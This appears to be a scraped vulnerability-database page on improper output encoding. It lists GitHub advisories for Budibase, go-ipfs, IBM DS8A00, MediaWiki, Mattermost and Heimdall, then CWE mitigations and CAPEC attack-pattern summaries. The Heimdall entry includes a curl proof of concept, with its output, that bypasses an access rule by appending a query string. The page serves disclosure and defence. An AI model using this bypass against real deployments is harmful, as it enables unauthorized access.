  "published": "2026-11-20T23:49:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-r2q3-7m4h-63qg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-122244"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/5f37fb43728639c540cc7233283f1100e9315424"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/v3.50.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/v4.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: Cross-privilege Stored XSS in the Budibase Builder via broken HTML-escaping in `jsonFormatter.format()` rendered through `{@html}` in the CSP-less Builder origin"
}

GHSA-R4GV-VJ59-CCCM

Vulnerability from github – Published: 2021-06-23 17:27 – Updated: 2021-05-21 18:06
VLAI
Summary
Control character injection in console output in github.com/ipfs/go-ipfs
Details

Impact

Control characters are not escaped from console output. This can result in hiding input from the user which could result in the user taking an unknown, malicious action.

Patches

  • Patched via https://github.com/ipfs/go-ipfs/pull/7831 in v0.8.0

For more information

If you have any questions or comments about this advisory: * Open an issue in go-ipfs * Email us at security@ipfs.io

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/ipfs/go-ipfs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-26283"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-150"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-21T18:06:39Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\nControl characters are not escaped from console output. This can result in hiding input from the user which could result in the user taking an unknown, malicious action.\n\n### Patches\n\u003c!-- _Has the problem been patched? What versions should users upgrade to?_  --\u003e\n\n- Patched via https://github.com/ipfs/go-ipfs/pull/7831 in v0.8.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [go-ipfs](http://github.com/ipfs/go-ipfs)\n* Email us at [security@ipfs.io](mailto:security@ipfs.io)",
  "id": "GHSA-r4gv-vj59-cccm",
  "modified": "2021-05-21T18:06:39Z",
  "published": "2021-06-23T17:27:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ipfs/go-ipfs/security/advisories/GHSA-r4gv-vj59-cccm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26283"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ipfs/go-ipfs/pull/7831"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ipfs/go-ipfs/commit/fb0a9acd2d8288bd1028c3219a420de62a09683a"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Control character injection in console output in github.com/ipfs/go-ipfs "
}

GHSA-R4HF-3HXR-R742

Vulnerability from github – Published: 2026-08-20 00:34 – Updated: 2026-08-20 00:34
VLAI
Details

IBM System Storage DS8A00 10.1.3.0 through 10.11.35.0 and IBM DS8900F 89.40.83.0 through 89.44.25.0 could allow an attacker to bypass security authentication due to improperly encoding of DSCLI command output to obtain sensitive information or cause a denial of service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-36254"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-19T22:16:36Z",
    "severity": "HIGH"
  },
  "details": "IBM System Storage DS8A00 10.1.3.0 through 10.11.35.0 and IBM DS8900F 89.40.83.0 through 89.44.25.0 could allow an attacker to bypass security authentication due to improperly encoding of DSCLI command output to obtain sensitive information or cause a denial of service.",
  "id": "GHSA-r4hf-3hxr-r742",
  "modified": "2026-08-20T00:34:54Z",
  "published": "2026-08-20T00:34:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36254"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7284322"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R5VX-68X4-4JCF

Vulnerability from github – Published: 2025-04-11 18:31 – Updated: 2025-11-03 21:33
VLAI
Details

Improper Encoding or Escaping of Output vulnerability in The Wikimedia Foundation Mediawiki Core - Feed Utils allows WebView Injection.This issue affects Mediawiki Core - Feed Utils: from 1.39 through 1.43.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-32072"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-11T17:15:43Z",
    "severity": "MODERATE"
  },
  "details": "Improper Encoding or Escaping of Output vulnerability in The Wikimedia Foundation Mediawiki Core - Feed Utils allows WebView Injection.This issue affects Mediawiki Core - Feed Utils: from 1.39 through 1.43.",
  "id": "GHSA-r5vx-68x4-4jcf",
  "modified": "2025-11-03T21:33:30Z",
  "published": "2025-04-11T18:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32072"
    },
    {
      "type": "WEB",
      "url": "https://gerrit.wikimedia.org/r/c/mediawiki/core/+/1120134"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/07/msg00012.html"
    },
    {
      "type": "WEB",
      "url": "https://phabricator.wikimedia.org/T386175"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-R67M-MF7V-QP7J

Vulnerability from github – Published: 2023-11-06 18:30 – Updated: 2025-07-22 17:17
VLAI
Summary
Mattermost password hash disclosure vulnerability
Details

Mattermost fails to properly sanitize the user object when updating the username, resulting in the password hash being included in the response body. 

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.4.0-rc1"
            },
            {
              "fixed": "7.8.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.1.0"
            },
            {
              "fixed": "8.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "9.0.0"
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.0-20230825233148-f787fd63368a"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.3.2-0.20230825233148-f787fd63368a"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.3.2-0.20230825233148-f787fd63368a"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.3.2-0.20230825233148-f787fd63368a"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-5968"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-08T14:58:02Z",
    "nvd_published_at": "2023-11-06T16:15:42Z",
    "severity": "MODERATE"
  },
  "details": "Mattermost fails to properly sanitize the user object when updating the username, resulting in the password hash being included in the response body.\u00a0",
  "id": "GHSA-r67m-mf7v-qp7j",
  "modified": "2025-07-22T17:17:20Z",
  "published": "2023-11-06T18:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5968"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/pull/24362"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/pull/24566"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/commit/698f4a97da564e2c1f2bf1fbd01755cefa3b7881"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost password hash disclosure vulnerability"
}

GHSA-R8X2-FHMF-6MXP

Vulnerability from github – Published: 2026-03-18 13:00 – Updated: 2026-04-27 15:22
VLAI
Summary
Heimdall: Path received via Envoy gRPC corrupted when containing query string
Details

Summary

When using heimdall in envoy gRPC decision API mode, wrong encoding of the query URL string allows rules with non-wildcard path expressions to be bypassed.

The HTTP based decision API is NOT affected, and proxy mode is NOT affected either.

Note: The issue can only lead to unintended access if heimdall is configured with an "allow all" default rule. Since v0.16.0, heimdall enforces secure defaults and refuses to start with such a configuration unless this enforcement is explicitly disabled, e.g. via --insecure-skip-secure-default-rule-enforcement or the broader --insecure flag.

Details

Envoy splits the requested URL into parts, and sends the parts individually to heimdall. Although query and path are present in the API, the query field is documented to be always empty and the URL query is included in the path field [1].

The implementation uses go's url library to reconstruct the url which automatically encodes special characters in the path.

https://github.com/dadrus/heimdall/blob/1faba9e4160bd7ab3240cf6aa418e21bfef3401a/internal/handler/envoyextauth/grpcv3/request_context.go#L109-L115

As a consequence, a parameter like /mypath?foo=bar to Path is escaped into /mypath%3Ffoo=bar. Subsequently, a rule matching /mypath no longer matches and is bypassed.

PoC

Using the example docker compose setup, the demo:public rule is bypassed when adding a query parameter.

docker compose -f docker-compose-envoy-grpc.yaml -f docker-compose.yaml up

curl http://127.0.0.1:9090/public
Hostname: 80201fead1c7
IP: 127.0.0.1
IP: ::1
IP: 172.23.0.3
RemoteAddr: 172.23.0.5:37056
GET /public HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: curl/8.19.0
Accept: */*
X-Envoy-Expected-Rq-Timeout-Ms: 15000
X-Forwarded-Proto: http
X-Request-Id: 0a1f0f06-75ef-4f14-92af-16162ea1d9e5

curl -v http://127.0.0.1:9090/public?bypass
*   Trying 127.0.0.1:9090...
* Established connection to 127.0.0.1 (127.0.0.1 port 9090) from 127.0.0.1 port 47876 
* using HTTP/1.x
> GET /public?hallo HTTP/1.1
> Host: 127.0.0.1:9090
> User-Agent: curl/8.19.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 401 Unauthorized
< date: Sat, 14 Mar 2026 16:34:17 GMT
< server: envoy
< content-length: 0
< 
* Connection #0 to host 127.0.0.1:9090 left intact

When using the HTTP decision API variant, the second request is matched by the rule as well:

docker compose -f docker-compose-envoy-http.yaml -f docker-compose.yaml up

curl http://127.0.0.1:9090/public?bypass
Hostname: 80201fead1c7
IP: 127.0.0.1
IP: ::1
IP: 172.23.0.4
RemoteAddr: 172.23.0.2:38044
GET /public?hallo HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: curl/8.19.0
Accept: */*
X-Envoy-Expected-Rq-Timeout-Ms: 15000
X-Forwarded-Proto: http
X-Request-Id: 5c961bc6-ad03-4a44-982b-abe04566fdd2

Impact

Everyone using heimdall with the envoy gRPC API may be affected. Users who configured a deny list in heimdall (with an allow-all default rule) are affected, as attackers can potentially circumvent a specific block rule by adding query parameters.

[1] https://github.com/envoyproxy/envoy/blob/105b4acd422d67fcff908ec38d91c7676d079939/api/envoy/service/auth/v3/attribute_context.proto#L146-L147

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.17.10"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dadrus/heimdall"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.7.0-alpha"
            },
            {
              "fixed": "0.17.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32811"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T13:00:56Z",
    "nvd_published_at": "2026-03-20T02:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWhen using heimdall in envoy gRPC decision API mode, wrong encoding of the query URL string allows rules with non-wildcard path expressions to be bypassed.\n\nThe HTTP based decision API is NOT affected, and proxy mode is NOT affected either.\n\n**Note:** The issue can only lead to unintended access if heimdall is configured with an \"allow all\" default rule. Since v0.16.0, heimdall enforces secure defaults and refuses to start with such a configuration unless this enforcement is explicitly disabled, e.g. via `--insecure-skip-secure-default-rule-enforcement` or the broader `--insecure` flag.\n\n### Details\nEnvoy splits the requested URL into parts, and sends the parts individually to heimdall. Although `query` and `path` are present in the API, the `query` field is documented to be always empty and the URL query is included in the `path` field [1].\n\nThe implementation uses go\u0027s url library to reconstruct the url which automatically encodes special characters in the path. \n\n https://github.com/dadrus/heimdall/blob/1faba9e4160bd7ab3240cf6aa418e21bfef3401a/internal/handler/envoyextauth/grpcv3/request_context.go#L109-L115\n\nAs a consequence, a parameter like `/mypath?foo=bar` to `Path`  is escaped into  `/mypath%3Ffoo=bar`. Subsequently, a rule matching `/mypath` no longer matches and is bypassed.\n\n\n### PoC\n\nUsing the example docker compose setup, the `demo:public` rule is bypassed when adding a query parameter.\n\n\u003e docker compose -f docker-compose-envoy-grpc.yaml -f docker-compose.yaml up\n\n```\ncurl http://127.0.0.1:9090/public\nHostname: 80201fead1c7\nIP: 127.0.0.1\nIP: ::1\nIP: 172.23.0.3\nRemoteAddr: 172.23.0.5:37056\nGET /public HTTP/1.1\nHost: 127.0.0.1:9090\nUser-Agent: curl/8.19.0\nAccept: */*\nX-Envoy-Expected-Rq-Timeout-Ms: 15000\nX-Forwarded-Proto: http\nX-Request-Id: 0a1f0f06-75ef-4f14-92af-16162ea1d9e5\n\ncurl -v http://127.0.0.1:9090/public?bypass\n*   Trying 127.0.0.1:9090...\n* Established connection to 127.0.0.1 (127.0.0.1 port 9090) from 127.0.0.1 port 47876 \n* using HTTP/1.x\n\u003e GET /public?hallo HTTP/1.1\n\u003e Host: 127.0.0.1:9090\n\u003e User-Agent: curl/8.19.0\n\u003e Accept: */*\n\u003e \n* Request completely sent off\n\u003c HTTP/1.1 401 Unauthorized\n\u003c date: Sat, 14 Mar 2026 16:34:17 GMT\n\u003c server: envoy\n\u003c content-length: 0\n\u003c \n* Connection #0 to host 127.0.0.1:9090 left intact\n```\n\nWhen using the HTTP decision API variant, the second request is matched by the rule as well:\n\n\u003e docker compose -f docker-compose-envoy-http.yaml -f docker-compose.yaml up\n\n```\ncurl http://127.0.0.1:9090/public?bypass\nHostname: 80201fead1c7\nIP: 127.0.0.1\nIP: ::1\nIP: 172.23.0.4\nRemoteAddr: 172.23.0.2:38044\nGET /public?hallo HTTP/1.1\nHost: 127.0.0.1:9090\nUser-Agent: curl/8.19.0\nAccept: */*\nX-Envoy-Expected-Rq-Timeout-Ms: 15000\nX-Forwarded-Proto: http\nX-Request-Id: 5c961bc6-ad03-4a44-982b-abe04566fdd2\n```\n\n### Impact\n\nEveryone using heimdall with the envoy gRPC API may be affected. Users who configured a deny list in heimdall (with an allow-all default rule) are affected, as attackers can potentially circumvent a specific block rule by adding query parameters.\n\n[1] https://github.com/envoyproxy/envoy/blob/105b4acd422d67fcff908ec38d91c7676d079939/api/envoy/service/auth/v3/attribute_context.proto#L146-L147",
  "id": "GHSA-r8x2-fhmf-6mxp",
  "modified": "2026-04-27T15:22:43Z",
  "published": "2026-03-18T13:00:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dadrus/heimdall/security/advisories/GHSA-r8x2-fhmf-6mxp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32811"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dadrus/heimdall/pull/3106"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dadrus/heimdall/commit/50321b3007db1ccafdc6b1cfd6bdc3689c19a502"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dadrus/heimdall"
    },
    {
      "type": "WEB",
      "url": "https://github.com/envoyproxy/envoy/blob/105b4acd422d67fcff908ec38d91c7676d079939/api/envoy/service/auth/v3/attribute_context.proto#L146-L147"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Heimdall: Path received via Envoy gRPC corrupted when containing query string"
}

Mitigation MIT-4.3
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
  • Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
Mitigation
Architecture and Design Implementation

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

Mitigation
Architecture and Design

In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.

Mitigation
Architecture and Design

Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).

Mitigation
Requirements

Fully specify which encodings are required by components that will be communicating with each other.

Mitigation
Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

CAPEC-104: Cross Zone Scripting

An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.

CAPEC-73: User-Controlled Filename

An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

CAPEC-81: Web Server Logs Tampering

Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.